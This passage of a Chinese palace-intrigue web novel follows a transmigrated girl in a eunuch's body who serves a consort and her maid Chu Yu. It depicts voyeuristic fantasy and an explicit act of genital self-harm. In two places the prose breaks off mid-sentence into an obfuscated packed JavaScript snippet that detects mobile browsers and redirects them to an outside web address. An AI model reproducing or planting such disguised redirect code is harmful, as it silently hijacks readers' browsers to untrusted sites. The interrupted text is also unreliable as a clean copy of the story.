这最后一句,意味深长。关禧瞬间明白了冯媛的用意,将他这个陛下问过一句的潜在侍寝人选放在身边,既是一种对皇帝隐晦的迎合或表态(看,您感兴趣的人在我这里,我替您照顾/看着),也是一种自我保护(人在我这儿,出了事与我无关,得了好或许能沾光)。同时,让他处理那些明面上的记录,既是利用他的细心,也是将他进一步卷入这滩浑水,绑在承华宫的战车上。 青黛看了关禧一眼,应道:“是,奴婢会安排。”她顿了顿,像是忽然想起什么,“对了,娘娘,还有一事。今日宴席中途,皇后娘娘曾离席片刻,奴婢瞧见……她身边的海棠姑姑,与永寿宫的江嬷嬷,在偏殿廊下说了好一阵子话。虽听不真切,但看神色,不似寻常寒暄。” 冯媛睫毛微颤,缓缓睁开眼:“江嬷嬷……太后她老人家,果然也是坐不住的。”她沉吟道,“皇后无子,太后定然心急。徐宛白这一胎,太后看重,皇后却未必乐见。太后与皇后之间……恐怕也非铁板一块。这倒是个机会。” 她站起身,湿发已被绞得半干,柔顺地披在身后,“今日便到这里吧。我乏了,你也早些歇着。明日……怕是更不太平。” “是,娘娘。”青黛扶着她,径直走出了浴堂。 29.第 29 章 浴堂的门被轻轻带上,隔绝了外面廊下微弱的光,也带走了那两道浸染着水汽的身影。 浴堂内,重新恢复了寂静。 关禧独自站在外间,一时间竟有些恍惚。方才那些话语,徐昭容有孕,后宫暗涌,借力打力,像冰冷的铅块,沉甸甸地压在他心口,提醒着他身处何地,面临的又是何等漩涡。可另一种截然不同的情绪,却在他胸腔里左冲右突,几乎要破膛而出。 他缓缓抬起头,目光先是落在冯媛方才坐过的贵妃榻上,软垫微微凹陷,仿佛还残留着主人身体的温热与重量。空气中,那清雅的檀香与安息香尚未散去,又混合着一缕属于女性沐浴后特有的温润体香,丝丝缕缕,萦绕鼻端。 然后,他的视线不由自主地飘向了内间。 那道青色纱帘半挑着,里面氤氲的白雾比方才淡了些。水声已歇,万籁俱寂,只有他自己越来越响的心跳,咚咚地撞击着耳膜。 冯昭仪和青黛……刚刚就在这里沐浴。 这个认知像一颗投入心湖的石子,激起的涟漪远比听到徐昭容有孕时更加汹涌复杂。 关禧,或者说这具名为小离子的躯壳里,那个来自二十一世纪的少女灵魂,在此刻难以抑制地躁动起来。她喜欢女生,这一点在穿越前或许只是懵懂的好感和隐秘的倾向,未曾宣之于口,甚至未曾仔细梳理。但在这压抑扭曲,尤其是太监身份带来无尽屈辱与不适的深宫之中,这份取向反而成了她内心深处唯一一点未曾被完全玷污,暗自庆幸的自我。 而眼前这两位…… 冯媛,清丽如江南水墨,温婉似月下幽兰,那份超越年龄的从容与洞察世事的智慧,让她在惊艳之余,更多是仰望与敬畏,像欣赏一幅只可远观不可亵玩的名画。青黛,冷艳如雪中寒梅,疏离似山巅孤月,那份隐藏在恭顺下的锐利,偶尔流露的复杂情愫,以及对自己那种说不清道不明的兴趣,让她既畏惧,又难以克制地被吸引。 更致命的是,她们之间的关系。 主仆?知己?还是……更多? 穿越以来,在承华宫的这些日子,关禧早就暗暗观察了无数遍。青黛对冯媛,绝不仅仅是忠心的奴婢对主子。那份细致入微的照顾,超越职责的维护,眼神交汇时无需言语的默契,以及……偶尔流露出的,连青黛自己可能都未察觉过于专注的凝视。而冯媛对青黛,那种全然的信赖,将最隐秘的心事与最危险的谋划坦然相告的倚重,以及在疲惫时不经意流露的依赖……这哪里是寻常主仆? 私下里,关禧早就磕生磕死了。在这冰冷残酷,处处算计的后宫里,这份超越身份,甚至可能超越性别的情感羁绊,是她灰暗生活中唯一一抹带着暖色和甜味的遐想。哪怕只是她的脑补,也足够慰藉无数个孤独惶恐的夜晚。 而现在!她!们!刚!刚!一!起!洗!澡!了! 青黛还下水了,亲手服侍,绞干头发,那么近的距离,氤氲的水汽,湿透的衣衫,低声的交谈…… 关禧的呼吸骤然急促起来,脸颊不受控制地开始发烫,心跳再次加速。 他鬼使神差地,向前挪了一步。又一步。 脚下光洁的汉白玉地面还带着湿意,映出他模糊变形的倒影。 内间的景象渐渐清晰。宽大的浴池水波微漾,水面漂浮着几片新鲜的花瓣,是茉莉和兰草,正缓缓打着旋儿。池边矮几上,用过的香膏瓷盒敞开着,澡豆盛在玉碗里,旁边随意搭着两条用过的,湿漉漉的布巾。其中一条较大,显然是用来包裹湿发的,另一条稍小,质地格外柔软,边缘绣着不起眼的兰草纹样,那是青黛惯用的。 一切痕迹都显示着,片刻之前,这里曾有两具曼妙的身体浸入水中,舒展,放松,或许还有低声的交谈,甚至……更亲密的接触? 关禧的想象力不受控制地狂奔起来。 冯媛靠在池边,乌发如云散落水中,青黛站在她身后,指尖带着香膏,轻柔地划过那光滑细腻的肩颈……热气蒸腾,模糊了视线,也模糊了某些界限……青黛冷淡的眉眼在水汽中是否也会柔和下来?冯媛闭目享受时,唇角是否会勾起只对身后人展露的笑意?她们会说些什么?是继续刚才那些沉重的权谋算计,还是会有片刻,只属于她们自己无关外界的私语? ……打住! 关禧甩了甩头,想把那些过于具体,带着画面和触感的想象甩出去,可越是这样,思绪反而越发不受控制。 他一边机械地开始收拾外间,将熏笼移回原位,整理冯媛用过的布巾,擦拭矮几上溅出的水渍,一边眼神却总忍不住往内间瞟。 终于,他按捺不住,端着盛放脏布巾的木盆,脚步轻轻地挪进了内间。 浴池里的水还是温的,清澈见底,能看见池底精雕细琢的莲纹。水面上的花瓣悠悠飘荡。空气里的香气更浓了,那是香膏,花瓣,还有……她们身上气息混杂后的味道,温暖得令人心头发颤。 关禧蹲在池边,假装检查池水是否需要更换,目光却扫过每一个角落。池边光滑的石面上有未干的水迹,是赤足踩踏留下的浅浅印记,大小不同……他的心跳又快了几拍。旁边矮凳上,还放着一把牛角梳,梳齿间缠绕着几根乌黑的发丝,分不清是冯媛的还是青黛的,或许……都有。 他的目光落在青黛那条绣着兰草的布巾上,指尖动了动,终究没敢去碰,盯着那精细的纹样,脑子里又开始天马行空:青黛用这条布巾,是只擦了手,还是也……她替冯媛绞发时,指尖是不是也这样缠绕过娘娘的发丝?娘娘闭着眼,任由她摆布时,心里在想什么?青黛看着娘娘疲惫的侧脸,那冷冽的眉眼,会不会有一瞬间化开,流露出藏得极深的…… “好看吗?” 一个清冷的声音,如同冰锥,毫无预兆地刺破了他沸腾的思绪和满室温暖的寂静。 关禧浑身一僵。 他保持着蹲在池边的姿势,脖子像生了锈的机括,一寸寸,极其艰难地扭过去。 浴堂通往更衣处的侧门边,青黛不知何时去而复返,正静静地站在那里。她已经重新绾好了头发,一丝不乱,身上的淡青色便装也平整得没有一丝褶皱。脸上没有任何表情,只有那双眼睛,在氤氲未散的水汽和昏黄灯光映照下,深得像两口古井,清晰地倒映出关禧此刻蹲在池边,脸上来不及完全收敛,混合着兴奋遐想与被骤然抓包的复杂神情。 她手里拿着一个巴掌大小的锦囊,像是回来取落下的东西。 时间仿佛凝固了。 关禧脑子里一片空白,方才那些翻涌带着粉红色泡泡的嗑生磕死瞬间被冻成冰渣,然后粉碎,只剩下无边的恐惧。 青黛的目光,从他惊恐失色的脸,慢慢移到他蹲着的姿势,再移到他面前那池飘着花瓣的水,最后,落在他无意识攥紧沾了些水渍的袖口上。 她向前走了一步。 关禧吓得几乎要向后跌坐进池子里,堪堪用手撑住池沿,指尖冰凉。 青黛却没有再靠近,停在了离他几步远的地方,微微偏着头,像是在仔细审视他脸上每一丝细微的表情变化,“我倒是忘了,这浴堂还需收拾。看来,你收拾得很用心?” 关禧喉咙干涩得如同火烧,他拼命想低下头,避开那仿佛能穿透皮肉直视灵魂的目光,可身体却僵硬得不听使唤,“小、小的……正准备收拾……” “准备?”青黛的唇角极轻微地弯了一下,那弧度冰冷,没有半分笑意,“我看你,看得挺入神。这池水,这花瓣……可有什么特别之处,让你如此流连忘返?” 她顿了顿,目光再次落回关禧脸上,这一次,那古井般的眼底,掠过一丝极其幽微,难以辨别的情绪,像是探究,又像是某种更深沉的考量。 “还是说……你看到的,不只是水和花瓣?” 这句话像一把精准的匕首,剖开了关禧所有自欺欺人的掩饰,他整个人颤抖起来,连撑着池沿的手都开始不稳。 完了,他想。 不仅身处生死险境,好像连自己那点来自现代不合时宜的爱好,都在这诡异的深宫里,被那双过于锐利的眼睛,看了个透透的。 青黛将他所有的反应尽收眼底,没有继续逼问,沉默了片刻。 浴堂内再次只剩下水汽无声升腾,以及关禧越来越急促的喘息声。 良久,青黛才轻轻叹了一口气。 “小离子,”她唤他,语气恢复了平日那种听不出喜怒的平淡,“在这宫里,有时候,眼睛看到的东西,未必是真的。心里想的东西,更是要牢牢锁住,一丝一毫都不能露出来。” 她向前又走了几步,距离关禧更近了些。关禧能闻到她身上沾染了外面夜露的微凉气息,与她固有的清冽味道混合在一起。 “好奇,是人之常情。但好奇过了头,看到了不该看的,想到了不该想的……会要命的。尤其是,关乎主子们的事情。” 她微微俯身,逼近关禧,两人的距离近到关禧能看清她眼中自己惨白惊惶的倒影,能感觉到她呼吸间细微的气流拂过自己额前的碎发。 “今晚,你只是奉命在此等候,收拾浴堂。你看到了娘娘疲惫,需要沐浴解乏。你看到了我伺候娘娘更衣。你收拾了用过的布巾,检查了池水。除此之外,你什么也没看见,什么也没听见,更……什么也没想过。” “明白了吗?” 关禧被她眼中那份压力迫得拼命点头,喉咙里发出含糊的呜咽:“明、明白了……小的明白……小的什么也没……没……” “很好。”青黛直起身,拉开了距离。 “把这里收拾干净,池水不用换,自会有人处理。然后,立刻回你房里去。记住我说的话。若让我发现,你有半点记不住,或管不住自己的眼睛和脑子……” 她没有说下去,但未尽之言比任何明确的威胁都更让人胆寒。 “……”关禧腿一软,瘫软在池边,浑身冷汗淋漓,像是刚从水里捞出来,又像是被抽走了所有力气。 青黛居高临下地看着他。 少年瘫在汉白玉池边,像一株被骤雨打蔫了的藤蔓,靛青色的太监服下摆浸在未干的水渍里,紧贴着颤抖的腿骨。冷汗浸透了他单薄的脊背,在昏黄灯光下洇出深色的痕,额发湿漉漉地黏在惨白的额角,唇色淡得几乎透明,只有那双因极度惊惧而睁大的眼睛,还残留着一点湿亮。 她见过许多恐惧的面孔,在深宫,恐惧是最寻常不过的情绪。但眼前这张脸上的恐惧,似乎格外……生动。生动得让她想起自己很多年前,第一次意识到命运不由己时,指尖掐进掌心的刺痛。 她沉默地看了他几息,然后,竟缓缓弯下腰,伸出了手。 那只手,手指纤长,骨节分明,指甲修剪得圆润干净,透着健康的淡粉色。它悬在关禧眼前,没有触碰,只是一个静默的邀请。 关禧呼吸更乱了。他盯着那只手,仿佛那是什么噬人的毒蛇,又或是能将他从这无底恐惧中拉起的唯一浮木。屈辱与后怕,以及对这只手主人的复杂情绪,让他喉咙发紧,一个字也吐不出来。 “起来。”青黛说,“地上凉。” 关禧颤抖着,迟疑地将自己犹自不稳的手,搭了上去。 触手是微凉的肌肤,却奇异地带了点力度,青黛将他从湿滑的池边拉了起来。关禧腿脚虚软,踉跄了一下,又要栽倒,青黛另一只手极快地扶了一下他的胳膊,旋即松开。 “谢……谢谢青黛姐姐。”关禧站稳,低着头,声音嘶哑得厉害。 青黛收回了手,指尖无意识地捻了捻,退后半步,重新拉开一点距离,轻轻重复了一遍这个名字,“青黛……不过是个下人名儿。叫着顺口罢了。” 关禧茫然地抬起一点眼睫,不解其意。 昏黄的光线下,青黛的侧脸线条显得格外清晰,又似乎有些遥远,她望着浴池中那渐渐不再打旋的花辦,声音轻得像自言自语,却又足够让关禧听清:“我本家姓楚,单名一个玉字。” 楚玉。 关禧心头微震。这像是一个秘密,一个将她与青黛这个符号化的宫女身份剥离开来的,属于她个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950485|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的印记。她为何要告诉他这个? “这名字……许久没人叫过了。”楚玉转过脸,目光重新落回关禧脸上,“私下无人时,你若愿意……可以叫我楚玉。” 关禧彻底懵了。信息量和情绪冲击让他脑子一片混乱。告诉他真名?允许私下称呼?这绝不仅仅是施恩或拉拢,这更像是一种诡异的贴近,一种将他划入某个极其私密领域的信号。为什么? 没等他消化完,楚玉的目光倏然下移,落在了他身体某处。 关禧顺着她的视线低头—— 嗡! 大脑一片空白。 那身靛青色太监服的下摆处,因为方才的瘫软浸湿和此刻紧绷的姿势,清晰地勾勒出了某个部位的轮廓。那是一个属于男性,因半割手术而残存,不受控制明显支棱起来的反应。 这具身体!这具该死的,不属于他的,却时刻背叛他意志的男性身体! 他来自现代,是个十七岁的女生,会为冯昭和青黛之间那种超越主仆的情谊激动到脑补万字同人,可这具皮囊呢?它在恐惧的巅峰,在刚刚窥破禁忌的余悸中,竟然……竟然对着同样属于女性,让她脑补过无数暖昧场景的当事人之一,起了这种下作的反应! “不……不是……我没有。”关禧语无伦次,脸涨得通红,又迅速褪成惨白,他徒劳地用手去遮挡,去按压,可那触感更清晰地提醒着他此刻的丑态。 楚玉静静地看着他惊慌失措的遮掩,看着他眼中翻滚的几乎要溢出来的自我厌弃和崩溃,脸上没什么表情,只是那双沉静的眼眸里,幽光微动。 “你似乎……”她缓缓开口,声音里听不出喜怒,“对此地,此景,或是……此人,有某些特别的癖好?” 癖好?! 关禧如遭雷击。她看到了!她果然看到了自己刚才那些不堪的窥探和遐想,她以为他是那种有特殊窥私欲的变态太监?还是……她看出了他灵魂里那点对女性,尤其是对她们之间关系的异常关注? “不!不是的!青黛姐……楚、楚玉姐姐!”他慌乱地否认,声音带着哭腔,屈辱和急于辩白的冲动让他口不择言,“我只是……我只是觉得……觉得娘娘和姐姐之间……那种情分,很难得……我、我羡慕……我没有别的意思!我真的没有!” 情分?羡慕? 楚玉眉梢几不可察地动了一下。这答案倒是出乎意料。她审视着关禧通红眼眶里滚动的泪水,那里面除了恐惧和羞耻,确实没有她预想中某些腌臜的欲望。 她的目光再次落回他依旧试图遮掩的下身,那反应显然并非作假。一个羡慕情分的小太监,身体却有了最直白的男性反应,这矛盾而扭曲的画面…… 而关禧,在瞥见楚玉那冷静审视的目光再次掠过自己不堪的部位时,最后一丝理智的弦,嘣地断了。 恶心的感觉排山倒海般涌上喉头。比在停尸房发现自己成了太监时更甚。那时候是惊恐,是绝望,是对命运不公的愤怒。而现在,是这具身体对他灵魂彻头彻尾的背叛和亵渎。 他猛地抬起手,握紧了拳头,用尽了全身残余的力气,朝着自己那耻辱,不受控制的根源,狠狠砸了下去。 “呃——!” 一声闷哼。他用了死力,剧痛瞬间炸开,沿着脊椎窜上头顶,眼前零时一片昏黑,身体不受控制地蜷缩起来,额角重重撞在池沿上,发出“咚”的一声闷响。 楚玉的瞳孔骤然收缩。 她见过无数丑态,听过无数哀求,甚至亲手处置过不少龌龊。但这样狠绝的举动,发生在一个刚刚还因窥破隐秘而恐惧颤抖的少年身上,超出了她的预料。 没有犹豫,她一步上前,在关禧因剧痛和撞击而软倒的瞬间,伸手揽住了他的肩膀,阻止了他进一步滑向池中或瘫倒在地。 关禧疼得几乎窒息,意识在昏沉的边缘挣扎。下身的钝痛和灼烧感淹没了一切,让他暂时忘却了羞耻和恐惧,只剩下生理性的痛苦和对自己的厌恶。他模糊的视线里,是楚玉线条紧绷的下颌。 “蠢货。”他听到她低声说,“谁准你这样伤自己?” 关禧说不出话,只有破碎的喘息和抑制不住因疼痛而生的生理性泪水,混着额角撞出的血丝狼狈地滑落。 楚玉扶着他,让他靠坐在池边,自己蹲下身,快速检查了一下他额角的伤口,只是撞红了,有些破皮,不甚严重。她的目光随即落在他紧紧捂着的下身,眉头蹙起。 “松手。”她命令道,语气不容置疑。 关禧疼得意识模糊,下意识地松开了些。 楚玉借着昏暗的光线,只看了一眼,便迅速移开目光。她站起身,走到外间,很快取来一块干净的大布巾和一小瓶常见的金疮药。 她将布巾丢在关禧身上:“自己处理一下。死不了。”语气恢复了平日那种冷硬的疏离,仿佛刚才那瞬间的靠近和那句“蠢货”只是错觉。 关禧蜷缩着,抓着布巾,却没有动作,脸埋在膝盖间,肩膀微微耸动。下身火辣辣的疼,额角也一跳一跳地痛,但更痛的是心里那一片荒芜和恶心。 楚玉站在一旁,没有离开,也没有催促。她看着少年蜷成一团的背影,听着那压抑的抽气声,眼底深处,那些复杂翻涌的情绪渐渐沉淀下去,恢复成一潭深不见底的静水。 只是那静水之下,被刚才那决绝的一拳,悄然砸开了一丝缝隙。 过了好一会,她终于再次开口: “今晚的事,到此为止。把你自己收拾干净,额头上药。明日若有人问起,便说收拾浴堂时不小心滑倒撞的。至于别的……关好你的眼睛,管好你的脑子,还有——看住你这不听话的身子。” 她顿了顿,补充道,语气带着警告,又似乎藏着别的什么: “楚玉这个名字,和你现在这副样子,都给我烂在肚子里。” 说完,她不再停留,转身,淡青色的衣角划过光洁的地面,悄无声息地离开了浴堂,将一室未散的水汽,疼痛和难以言说的秘密,留给了蜷缩在池边的少年。 30.第 30 章 接下来几天,关禧告了假。 理由现成且无可指摘,收拾浴堂时脚下打滑,重重撞伤了额角,连带扯到了尚未完全养利索的旧伤处,疼得厉害,起身都艰难。 陈立德来看了一眼,见他额上青紫带血,面色惨白,蜷在薄被里不住发颤,冷汗浸湿了鬓角,只当是摔得狠了,兼之旧伤复发,骂了句“不当心的小兔崽子”,便挥挥手准了,只吩咐同屋暂空的小太监每日送些饭食清水过来。 真实的情况,只有关禧自己知道。 额角那点撞伤算不得什么,真正要命的是下身。那一拳,他用了死力,砸在曾经溃烂流脓好不容易才愈合结痂的脆弱部位。旧伤新创叠加,当夜回去后便疼得他几乎晕厥,翌日清晨更是肿起老高,火辣辣地灼痛,稍一移动便如钝刀刮骨,甚至能摸到皮肤下不正常的硬块和滚烫。 他不敢声张。只能咬牙忍着,用冷水浸湿的布巾勉强敷着,蜷缩在床铺最里侧。 疼痛是持续而尖锐的,无时无刻不在折磨着他的神经。但比疼痛更难以忍受的,是那种深入骨髓的屈辱感和自我厌弃。 那晚浴堂里发生的一切,像一场荒诞的默剧,在他脑海里反复重演。楚玉冰冷审视的目光,自己那不受控制丑态毕露的反应,以及最后那自毁的一拳……每一个细节都带着倒刺,刮擦着他早已不堪重负的自尊。 他厌恶这具身体,厌恶它残存的男性特征,厌恶它在最不堪的时刻背叛自己的意志。那一拳砸下去时,除了剧痛,竟还有一种扭曲的快意,仿佛这样,就能惩罚这具躯壳,就能向那个看透了他窘迫的人证明些什么。 证明什么?证明他不是故意的?证明他也觉得恶心? 关禧将脸埋进散发着枕头里。 他怕见楚玉。怕那双能洞悉一切的眼睛,怕从她眼中看到怜悯,鄙夷。他鸵鸟般将自己藏在这间狭小昏暗的屋子里,仿佛这样就能逃离那晚的难堪,逃离这令人窒息的深宫。 送饭的小太监每日按时将粗陋的饭食和清水放在门口,偶尔好奇地朝里张望一眼,又匆匆离去。关禧大多时候没有胃口,伤痛和心绪折磨得他迅速消瘦下去,颧骨突出,眼窝深陷,只有一双眸子,因发烧痛苦而显得异常湿润明亮,又空洞得吓人。 第五天晌午,他正昏沉地睡着,半梦半醒间被伤处的抽痛折磨得眉头紧锁,忽然听到门外传来轻微的响动,不同于往日小太监放饭的动静。 门被轻轻推开了。 关禧浑身一僵,下意识地攥紧了身下的薄褥,闭紧眼睛,假装沉睡。 脚步声很轻,停在了床前。一股清冽中带着淡淡药草气息的味道弥漫开来,不是承华宫常用的檀香。 是楚玉。 关禧的心脏收缩,连呼吸都屏住了,睫毛不受控制地颤抖。 楚玉没有说话,静静地站了片刻。关禧能感觉到她的目光落在自己脸上,或许还有身上。那目光不像那晚在浴堂般锐利逼人,却依然带着沉甸甸的重量,压得他喘不过气。 然后,他听到极轻微的瓷器触碰木头的声响。一个小瓷瓶被放在了床头的小几上。 “每日两次,外敷。”楚玉的声音响起,听不出任何情绪,“额上的伤,结痂前别沾水。” 她顿了顿,似乎看了他一眼,又似乎没有。 “娘娘那边,自有我去说。你安心养着。” 说完,脚步声再次响起,如来时一般轻悄,门被重新掩上。 关禧僵着身子,直到那清冽的气息彻底消散在空气中,才缓缓睁开眼,目光转向床头。 一个素白瓷瓶,瓶身没有任何标记,触手微凉。他打开嗅了嗅,药膏呈淡褐色,气味清苦,比他之前用过的任何金疮药都要纯粹些。 她亲自送药过来。没有质问,没有探究。 这比任何责难都更让关禧心慌意乱。她到底是什么意思?是懒得计较他那晚的失态,还是……另一种形式的警告或掌控? 他握着冰凉的瓷瓶,指尖微微发抖。最终,还是咬着牙,忍着羞耻,艰难地给自己上了药。药膏触及肿胀灼热的伤处,带来一阵尖锐的刺痛,随即是缓缓化开的清凉,真的将那噬人的灼痛压下去些许。 接下来两日,那药瓶每日都会在晌午时分,悄无声息地出现在他床头。有时里面是药膏,有时换成了几颗包好的,气味更浓郁些的药丸,显然是内服化瘀的。送药的人再未现身,但关禧知道是她。 他的伤势在药物的作用下缓慢好转,高烧退了,红肿也消下去一些,但依旧疼得厉害,下地行走更是奢望。他整日昏睡,偶尔清醒,便对着斑驳的屋顶发呆,脑子里浑浑噩噩,一会儿是现代教室里的日光灯,一会儿是停尸房的草席,一会儿是楚玉在浴堂门口提着灯的身影,还有那句“看住你这不听话的身子”。 请假第八日的傍晚,送饭的小太监破天荒地没有立刻离开,而是在门口探头探脑,压低声音道:“离子哥,陈公公让我捎句话,问你什么时候能下地?娘娘那边……好像有些文书的事儿,旁人不熟手。” 关禧心里一紧。冯昭仪要用人了。不能再躲下去,他试着动了动,伤处扯着疼,但比起前几日已好了许多。 他哑着嗓子回道:“劳烦告诉陈公公,小的……明日应该就能勉强走动了。” 小太监应了一声,跑了。 关禧靠在床头,望着窗外渐沉的暮色。逃避终归不是办法。伤总要养,日子总要过。楚玉那边……既然她选择送药而不深究,或许那页尴尬的篇章,可以暂时翻过? 他深吸一口气,压下心头翻涌的复杂情绪,慢慢挪动着,开始尝试下床。脚掌触及冰冷地面的瞬间,下身传来尖锐的刺痛,让他眼前一黑,冷汗湿透单衣。他扶着床沿,喘息良久,才勉强站稳,一步步,挪向那面模糊的铜镜。 镜中人苍白憔悴,额角的青紫已转为暗黄,眼眶深陷,嘴唇干裂。 他抬手,慢慢整理了一下散乱的头发,将身上皱巴巴的中衣拉平。 该出去了。 * 次日清晨,关禧强撑着起身,换上了那身靛青色太监服。 他来到书斋时,天色尚早。 案头堆着一些待整理的文书,多是这几日积压下来,需要核对归档的零散记录,不算繁重,却需细心。 关禧坐下,深吸一口气,强迫自己将注意力集中在眼前的字句与数字上。疼痛如影随形,指尖因虚弱而有些发颤,落笔时需格外用力才能保持平稳。但他做得极专注,与那股不适感争夺着每一寸清醒的神志,速度竟比平日还要快上几分。 不到午时,案上的文书已处理妥当,分门别类,誊录清晰,整齐码放。 他搁下笔,靠在椅背上,闭目喘息,额角渗出细密的冷汗。正欲缓一缓,门外传来轻柔的脚步声,珠帘微响,一道温婉的身影走了进来。 是冯媛。 她今日穿着一身家常的藕荷色襦裙,外罩月白比甲,神色恬淡,眉宇间却带着一丝挥之不去的倦意,显然是万寿节前后的风波劳神所致。她目光扫过书斋,落在关禧身上,见他脸色苍白,眼下青黑,身形也比之前清减了不少,微微一顿。 “身子可好些了?”冯媛开口,声音温和,“陈立德说你前几日摔得不轻,旧伤也犯了。既然未好利索,不必急于做事,仔细将养才是。” 关禧连忙起身,动作牵扯到伤处,疼得他眉头几不可察地一蹙,又迅速松开,躬身道:“谢娘娘关怀。奴才已无大碍,只是些皮外伤,不敢耽误娘娘的差事。” 冯媛走近两步,目光在他额角的淡痕和缺乏血色的唇上停留片刻,轻轻叹了口气:“脸色这样差,还说无碍。在这宫里当差,身子是本钱。差事永远做不完,命却只有一条。”她顿了顿,语气转回平日的淡然,“既然你做完了,便早些回去歇着吧。午后也不必过来了,好生养着。” “是,奴才遵命。”关禧垂首应道,心头微松。冯昭仪的关心点到即止,符合她一贯的行事风格,并未深究他伤势的具体情形,也无意多留。 冯媛又简单问了句文书归档的情况,关禧一一答了,条理清晰。她点了点头,不再多言,转身离开了书斋,看方向是回内殿准备午憩。 关禧重新坐下,等着那股因起身行礼而加剧的痛楚慢慢平复。书斋里恢复了寂静,只有窗外隐约的蝉鸣。 没过多久,轻盈的脚步声去而复返。 珠帘再次被挑起,楚玉走了进来。她已将冯媛送回内殿安顿,此刻独自返回,身上还带着正午阳光留下的些微暖意,与她本身清冷的气质形成微妙对比。 关禧的心跳不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954612|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受控制地加快。他下意识地伸手抓起了刚刚搁下的笔,摊开一张空白纸笺,佯装仍在书写核对,笔尖却悬在半空,微微颤抖,落不下一个字。 楚玉的目光淡淡扫过已整理完毕的案头,又落在他故作忙碌,明显僵硬的手指和苍白的侧脸上。她没有立刻戳破,也不催促,只是缓步走近,停在他书案一侧。 “娘娘歇下了。你的动作倒快,一上午便理清了。” 关禧喉咙发干,低声道:“是积压不多,不敢耽搁。” 楚玉的视线落在那张空白纸笺上,又移向他紧握着笔,指节发白的手,“既然做完了,还提着笔做什么?” 关禧语塞,笔尖在纸面上虚点了一下,留下一个无意义的墨点。 “又想写诗?”楚玉忽然道,声音比方才低了些,“上回那首,写得不错。虽用词直白,意境倒也贴切。” “小的……小的胡诌的,污了姐姐的眼。”关禧慌忙否认,想放下笔。 “胡诌?”楚玉微微偏头,唇角有极淡的弧度一闪而过,“能胡诌出何当共剪西窗烛,却话巴山夜雨时的句子,这份胡诌的本事,恐怕连翰林院的某些学士也未必有。”她说着,目光锁住他躲闪的眼睛,“今日闲暇,不如再胡诌一首让我瞧瞧?” 这不是请求,是带着审视的指令。 关禧背脊发凉,握着笔的手心沁出冷汗。他脑子里一片混乱,属于关禧的现代记忆和属于小离子的深宫恐惧交织冲撞。再写?写什么?他哪里会作诗!上次那首《夜雨寄北》是情急之下脑中库存的应激反应,难道这次还要硬着头皮再搬一首?可若写不出,或者写得太差,会不会让楚玉更起疑?一个能胡诌出那般句子的人,怎么可能江郎才尽? 楚玉并不催促,静静站着,耐心得令人窒息。午后的阳光透过窗棂,在她淡青色的衣袂上投下斑驳的光影,也将关禧苍白惊恐的脸照得无所遁形。 赶鸭子上架,箭在弦上。 关禧狠狠心,避开楚玉的目光,强迫自己凝神。不能再用李商隐了,太缠绵,容易引人遐想。要选一首……更孤冷,更疏离,或许更贴合他现在处境的? 电光火石间,另一首诗浮上心头。柳宗元的《江雪》。千山鸟飞绝,万径人踪灭。孤舟蓑笠翁,独钓寒江雪。极致孤寂,极致清冷,画面感极强,似乎……也隐隐契合他此刻茕茕孑立,如坠冰窟的心境。 他压下手腕的颤抖,蘸墨,落笔。是工整却难掩稚拙的楷书,一笔一划,写得极其缓慢用力,每一个字都重若千钧: 千山鸟飞绝, 万径人踪灭。 孤舟蓑笠翁, 独钓寒江雪。 二十个字,写完像耗尽了全身力气。笔尖最后在“雪”字上重重一顿,留下一个略显滞涩的收尾。 他放下笔,不敢再看,垂着头,等待着审判。 楚玉的目光落在诗笺上,久久未动。她的视线如同实质,一遍遍刮过那四行诗句。 没有评价,没有疑问,只有一片沉凝的寂静,比任何斥责都更让人难熬。 终于,楚玉伸出手,指尖拈起了那张薄薄的纸笺,她的手指白皙修长,指甲干净,捏着纸角的动作很轻。 “千山鸟飞绝,万径人踪灭……”她低声吟哦,声音轻得像叹息,“好大的景象,好冷的意境。孤舟,蓑笠,寒江,独钓……” 她抬起眼,目光再次落在关禧脸上,这一次,那平静的眼底终于泛起了清晰的波澜,是毫不掩饰的探究。 “小离子,”她唤他,“你告诉我,一个自幼家贫,为求生计被送入宫中,连字都未必认全的河间府农家子,是如何看到这千山与万径的?是如何想出这孤舟蓑笠、独钓寒江的苍茫画面的?” 她向前逼近一步,关禧甚至能闻到她身上那缕混合着书墨与冷香的气息。 “上首尚可说是离愁别绪,托物言志,或许你天资聪颖,感怀深切。可这首……”她轻轻抖了抖手中的纸笺,“这等遗世独立、勘破红尘般的孤绝气韵,绝非一个未曾离开过方寸之地、眼中只有宫墙与文书的十五岁少年所能凭空胡诌而出。” 她的目光锐利如刀,好像要剖开他的皮囊,直视内里那个颤抖的灵魂:“你究竟是谁?从哪里学来的这些诗?或者说……你这壳子里,到底装着什么?” 31.第 31 章 楚玉的怀疑很直接,她甚至用了壳子这样的词,穿越者的身份是关禧最大的秘密,也是他恐惧的根源,此刻被眼前这个敏锐得可怕的女子,以这样一种方式,逼到了悬崖边上。 解释?如何解释?说自己是穿越的?那会被当作妖孽烧死,说是在派办处或典籍司看的?那些地方怎么可能有柳宗元的诗?而且,楚玉既然敢这么问,必然已经暗中查过,小离子根本没有机会接触这些。 冷汗湿透了中衣,伤处的疼痛似乎都被这极致的恐惧掩盖了,他脸色惨白,眼神涣散,几乎要瘫软下去。 